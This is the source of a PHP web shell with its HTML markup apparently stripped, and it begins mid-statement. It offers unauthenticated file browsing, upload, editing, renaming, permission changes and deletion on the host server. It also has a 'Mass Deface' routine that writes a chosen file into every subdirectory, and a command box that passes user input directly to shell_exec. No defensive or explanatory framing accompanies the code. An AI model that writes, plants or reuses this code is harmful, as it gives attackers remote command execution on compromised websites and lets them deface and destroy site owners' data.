"; echo "

$title

$author
"; echo "
".php_uname()."

"; // PATH $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace('\\', '/', $path); $paths = explode('/', $path); echo "
"; foreach($paths as $id => $part){ if($part == '' && $id == 0){ echo "/"; continue; } if($part == '') continue; echo "$part/"; } echo "

"; //Create File or Folder if(isset($_GET['create'])){ if(isset($_POST['type']) && isset($_POST['name'])){ $target = rtrim($path, '/') . '/' . $_POST['name']; if($_POST['type'] === 'file'){ if(file_put_contents($target, '') !== false) echo "

File created!

"; else echo "

Failed to create file.

"; } elseif($_POST['type'] === 'dir') { if(mkdir($target)) echo "

Folder created!

"; else echo "

Failed to create folder.

"; } } echo "
Create: Name:
"; } echo "
+ New File/Folder
"; // Container forms up/mass echo "
"; // Upload form if(isset($_FILES['file'])){ $dest = $path.'/'.$_FILES['file']['name']; if(copy($_FILES['file']['tmp_name'], $dest)) echo "

Upload success!

"; else echo "

Upload failed.

"; } echo "

Upload File

"; // Mass Deface form echo "

Mass Deface

"; echo "

"; // Handle Mass Deface if(isset($_POST['mass_deface'])){ $filename = $_POST['mass_name']; $content = $_POST['mass_code']; $results = ""; function mass_deface($dir, $filename, $content, &$results) { $scan = scandir($dir); foreach ($scan as $item) { if ($item == "." || $item == "..") continue; $full = "$dir/$item"; if (is_dir($full)) { mass_deface($full, $filename, $content, $results); } else { // write to each folder file_put_contents("$dir/$filename", $content); $results .= htmlspecialchars("$dir/$filename -> DONE\n"); } } } mass_deface($path, $filename, $content, $results); echo "
$results
"; } // CMD EXECUTE echo "

Execute Command

"; if(isset($_POST['cmd'])){ echo "

"; echo "
";
  echo htmlspecialchars(shell_exec($_POST['cmd']));
  echo "
"; } else { echo "
"; } // View or Edit if(isset($_GET['filesrc'])){ echo "

Viewing: ".$_GET['filesrc']."

"; echo ""; }elseif(isset($_GET['edit'])){ if(isset($_POST['editcontent'])){ file_put_contents($_GET['edit'], $_POST['editcontent']); echo "

File saved!

"; } echo "
"; }else{ $scandir = scandir($path); echo ""; foreach($scandir as $file){ if($file == ".") continue; $full = $path.'/'.$file; echo ""; echo ""; } echo "
NameSizePermissionAction
"; if(is_dir($full)) echo "$file"; else echo "$file"; echo "".(is_file($full) ? filesize($full) : '-')."".substr(sprintf('%o', fileperms($full)), -4).""; echo "Edit | "; echo "Rename | "; echo "Chmod | "; echo "Delete"; echo "
"; } // Rename if(isset($_GET['rename'])){ if(isset($_POST['newname'])){ $new = dirname($_GET['rename']).'/'.$_POST['newname']; rename($_GET['rename'], $new); echo "

Renamed!

"; } echo "
New name:
"; } // Chmod if(isset($_GET['chmod'])){ if(isset($_POST['perm'])){ chmod($_GET['chmod'], octdec($_POST['perm'])); echo "

Permission changed!

"; } echo "
Permission:
"; } // Delete if(isset($_GET['delete'])){ if(is_dir($_GET['delete'])) rmdir($_GET['delete']); else unlink($_GET['delete']); echo "

Deleted!

"; } // Footer echo "
"; echo ""; echo ""; ?>